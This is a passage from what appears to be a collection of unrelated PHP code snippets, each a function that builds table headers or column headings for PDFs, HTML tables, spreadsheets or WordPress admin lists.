'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "function constructTableHead() {\n\n $header = '<tr><th>Country</th>';\n if (isset($_GET['pop'])) {\n $header .= '<th>Total Population</th>';\n }\n if (isset($_GET['birth'])) {\n $header .= '<th>Birth Rate</th>';\n }\n if (isset($_GET['death'])) {\n $header .= '<th>Death Rate</th>';\n }\n\n $header .= '</tr>';\n return $header;\n }", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "public function headingRow(): int\n {\n return 1;\n }", "public function extObjHeader() {}", "private function renderSectionHeadings() {\n\t\t$headings = array();\n\t\t$separator = $this->getSubpart('HEADING_SEPARATOR');\n\n\t\tforeach ($this->sections as $key => $section) {\n\t\t\t$class = ($key == 0) ? 'tx-explanationbox-pi1-active' : 'tx-explanationbox-pi1-inactive';\n\n\t\t\t$this->setMarker('class_heading', $class);\n\t\t\t$this->setMarker('heading_number', $key);\n\t\t\t$this->setMarker('heading', htmlspecialchars($section['title']));\n\t\t\t$headings[] = $this->getSubpart('SINGLE_HEADING');\n\t\t}\n\n\t\tif (count($this->sections) > 1) {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-active');\n\t\t} else {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-inactive');\n\t\t}\n\n\t\t$this->setMarker('number_of_sections', count($this->sections));\n\t\t$this->setSubpart('SECTION_HEADINGS', implode($separator, $headings));\n\t}", "function adleex_resource_list_column_header( $cols ) {\nglobal $current_screen;\n\n\tif ($current_screen->post_type!='resource') return $cols;\n\n\tunset($cols['date']);\n\t$header = array(\n 'post_title' => 'title', );\n\tforeach($header\tas $k => $v) $cols[$k]=$v;\n\treturn $cols;\n}", "public static function wdtSheetsNoHeadingValidation()\n {\n return [\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "public function getHeadings(): Collection;", "function showHeaquarters() \r\n\t{\r\n\t\t$valuesHeadquarters = $this->Headquarter->find('all', array('order' => 'Headquarter.headquarter_name ASC'));\r\n\t\t$x=0;\r\n\t\tforeach ($valuesHeadquarters as $value)\r\n\t\t{\r\n\t\t\tif($x==0)\r\n\t\t\t\t$resultadoHeadquarters[0] = 'Seleccione una jefatura';\r\n\t\t\telse\r\n\t\t\t\t$resultadoHeadquarters[$value['Headquarter']['id']]= $value['Headquarter']['headquarter_name'];\r\n\t\t\t\t\r\n\t\t\t$x++;\r\n\t\t}\r\n\t\t\r\n\t\treturn $resultadoHeadquarters;\r\n\t}", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "function create_pool_header()\n{\n $header =\n \"<thead>\n <tr>\n <th scope='col' class='rounded-company'>Pool</th>\n <th scope='col' class='rounded-q1'>Priority</th>\n <th scope='col' class='rounded-q1' colspan='2'>URL</th>\n <th scope='col' class='rounded-q1'>Gets</th>\n <th scope='col' class='rounded-q1'>Accepts</th>\n <th scope='col' class='rounded-q1'>Rejects</th>\n <th scope='col' class='rounded-q1'>Discards</th>\n <th scope='col' class='rounded-q1'>Stales</th>\n <th scope='col' class='rounded-q1'>Get Fails</th>\n <th scope='col' class='rounded-q1'>Rem fails</th>\n </tr>\n </thead>\";\n\n return $header;\n}", "function wv_commission_table_heading_list($type = \"thead\") {\n $output = \"\";\n\n //verify the header and footer of the table list\n $type = ($type == \"thead\") ? \"thead\" : \"tfoot\";\n\n $output .=\"<$type>\";\n $output .=\" <tr>\n <th>#OrderId</th>\n <th>Order Date</th>\n <th>ProductName</th>\n <th>Vendor</th>\n <th>Commission</th>\n <th>Status</th>\n <th>Commission Date</th>\n </tr>\";\n\n $output .=\"</$type>\";\n return $output;\n }", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nUnique to Oracle\nMAINHEADING;\n }", "function DisplayTableHeader()\n{\n\t$pdf = $GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "function makeHeader(){\n\tglobal $pdf;\n\t\n\t// logo\n\t$pdf->Image('img/mepbro-pdf.png', 27, 27, 218);\n\t\n\t// title box\n\t$pdf->SetFillColor(51,102,255);\n\t$pdf->Rect(263, 27, 323, 72, 'F');\n\t// title lines\n\t$pdf->SetTextColor(255,255,255);\n\t$pdf->SetFont('Helvetica','B',34);\n\t$pdf->SetXY(263, 31);\n\t$pdf->Cell(323,36,'HOSE TEST', 0, 1, 'C');\n\t$pdf->SetXY(263, 64);\n\t$pdf->Cell(323,36,'CERTIFICATE', 0, 1, 'C');\n\t\n\treturn 126;\n\t\n}", "function outputHeader()\n {\n global $application;\n\n $output = '';\n if (!is_array($this -> _attrs))\n return $output;\n\n // output error column\n if (is_array($this -> _Errors) && !empty($this -> _Errors))\n $output .= $this -> mTmplFiller -> fill(\n 'catalog/product_group_edit/',\n 'header-error.tpl.html',\n array()\n );\n\n foreach($this -> _attrs as $k => $v)\n {\n if ($v != 'YES')\n continue;\n\n $template_contents = array(\n 'HeaderName' => getMsg('SYS', @$this -> _headermap[$k])\n );\n $this -> _Template_Contents = $template_contents;\n $application -> registerAttributes($this -> _Template_Contents);\n $output .= $this -> mTmplFiller -> fill(\n 'catalog/product_group_edit/',\n 'header-cell.tpl.html',\n array()\n );\n }\n\n return $output;\n }", "public function index()\n {\n return view(\"pages.admin.specification.hdr.hdr\",$this->data);\n }", "abstract protected function getColumnsHeader(): array;", "public function getHeadings(): iterable;", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "function setHeader($file_name){\t\n\t\t// echo date('H:i:s') , \" Set header/footer\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $this->objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\t\t// Set page orientation and size\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\t\t// Rename worksheet\n\t\t// echo date('H:i:s') , \" Rename worksheet\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->setTitle($file_name);\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$this->objPHPExcel->setActiveSheetIndex(0);\n\t\t// download the excel file\n\t\t$this->output($file_name);\n\t}", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "public function getTitleSection()\n {\n return $this->getFirstFieldValue('245', ['n', 'p']);\n }", "public function Header()\n {\n // Set custom header and footer\n $this->setCustomHeader();\n\n if (array_key_exists($this->category, $this->categories)) {\n $title = $this->categories[$this->category]['name'];\n } else {\n $title = '';\n }\n\n $this->SetTextColor(0, 0, 0);\n $this->SetFont($this->currentFont, 'B', 18);\n\n if (0 < PMF_String::strlen($this->customHeader)) {\n $this->writeHTMLCell(0, 0, '', '', $this->customHeader);\n $this->Ln();\n $this->writeHTMLCell(0, 0, '', '', html_entity_decode($title, ENT_QUOTES, 'utf-8'), 0, 0, false, true, 'C');\n } else {\n $this->MultiCell(0, 10, html_entity_decode($title, ENT_QUOTES, 'utf-8'), 0, 'C', 0);\n $this->SetMargins(PDF_MARGIN_LEFT, $this->getLastH() + 5, PDF_MARGIN_RIGHT);\n }\n }", "public function getTaxCategoryHeaders()\n {\n $category = $this->_objectManager->create('Cor\\Artistcategory\\Model\\Artistcategory')->getCollection();\n $taxFileHeader[] = '';\n $taxFileHeader[] = 'Price';\n $taxFileHeader[] = 'Total Sold';\n $taxFileHeader[] = 'Gross';\n $taxFileHeader[] = 'Tax Rate';\n foreach ($category->getData() as $categorydata) {\n $taxFileHeader[] = ''.$categorydata['category_name'];\n }\n $taxFileHeader[] = 'Total Tax';\n return $taxFileHeader;\n }", "function mkYearHead(){\nreturn \"<table class=\\\"\".$this->cssYearTable.\"\\\">\\n\";\n}", "abstract protected function getRowsHeader(): array;", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nGROUP BY Command\nMAINHEADING;\n }", "function getHead($coment){\r\n\t\tif(isset($this->Head[$coment])) return $this->Head[$coment];\r\n\t\treturn '';\r\n\t}", "abstract protected function excel ();", "public function pi_list_header() {}", "function BeginIncidentTable() {\n $headings = array(\"Year\", \"Section\", \"Description\", \"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\", \"Count\");\n echo \"<table class='sortable' align='center' cellpadding='5' border=1>\";\n echo \"<tr>\";\n foreach ($headings as $heading) {\n echo \"<th>$heading</th>\";\n }\n echo \"</tr>\";\n}", "function taxonomy_header($cat_columns) {\r\n\t\t$cat_columns['cat_id'] = 'ID';\r\n\t\treturn $cat_columns;\r\n\t}", "function populateInstrumentsWorksheet( &$worksheet, &$languages, $default_language_id, &$price_format, &$box_format, &$weight_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null) {\n\t\t$query = $this->db->query( \"DESCRIBE `\".DB_PREFIX.\"instrument`\" );\n\t\t$instrument_fields = array();\n\t\tforeach ($query->rows as $row) {\n\t\t\t$instrument_fields[] = $row['Field'];\n\t\t}\n\n\t\t// Opencart versions from 2.0 onwards also have instrument_description.meta_title\n\t\t$sql = \"SHOW COLUMNS FROM `\".DB_PREFIX.\"instrument_description` LIKE 'meta_title'\";\n\t\t$query = $this->db->query( $sql );\n\t\t$exist_meta_title = ($query->num_rows > 0) ? true : false;\n\n\t\t// Set the column widths\n\t\t$j = 0;\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('instrument_id'),4)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('categories'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sku'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('upc'),12)+1);\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('ean'),14)+1);\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('jan'),13)+1);\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('isbn'),13)+1);\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('mpn'),15)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('location'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('quantity'),4)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('model'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('manufacturer'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image_name'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('shipping'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_modified'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_available'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight'),6)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('width'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('height'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tax_class_id'),2)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('seo_keyword'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('description')+4,32)+1);\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_title')+4,20)+1);\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_description')+4,32)+1);\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_keywords')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('stock_status_id'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_ids'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('layout'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('related_ids'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tags')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('subtract'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('minimum'),8)+1);\n\n\t\t// The instrument headings row and column styles\n\t\t$styles = array();\n\t\t$data = array();\n\t\t$i = 1;\n\t\t$j = 0;\n\t\t$data[$j++] = 'instrument_id';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'name('.$language['code'].')';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'categories';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'sku';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'upc';\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'ean';\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'jan';\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'isbn';\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'mpn';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'location';\n\t\t$data[$j++] = 'quantity';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'model';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'manufacturer';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'image_name';\n\t\t$data[$j++] = 'shipping';\n\t\t$styles[$j] = &$price_format;\n\t\t$data[$j++] = 'price';\n\t\t$data[$j++] = 'points';\n\t\t$data[$j++] = 'date_added';\n\t\t$data[$j++] = 'date_modified';\n\t\t$data[$j++] = 'date_available';\n\t\t$styles[$j] = &$weight_format;\n\t\t$data[$j++] = 'weight';\n\t\t$data[$j++] = 'weight_unit';\n\t\t$data[$j++] = 'length';\n\t\t$data[$j++] = 'width';\n\t\t$data[$j++] = 'height';\n\t\t$data[$j++] = 'length_unit';\n\t\t$data[$j++] = 'status';\n\t\t$data[$j++] = 'tax_class_id';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'seo_keyword';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'description('.$language['code'].')';\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$styles[$j] = &$text_format;\n\t\t\t\t$data[$j++] = 'meta_title('.$language['code'].')';\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_description('.$language['code'].')';\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_keywords('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'stock_status_id';\n\t\t$data[$j++] = 'store_ids';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 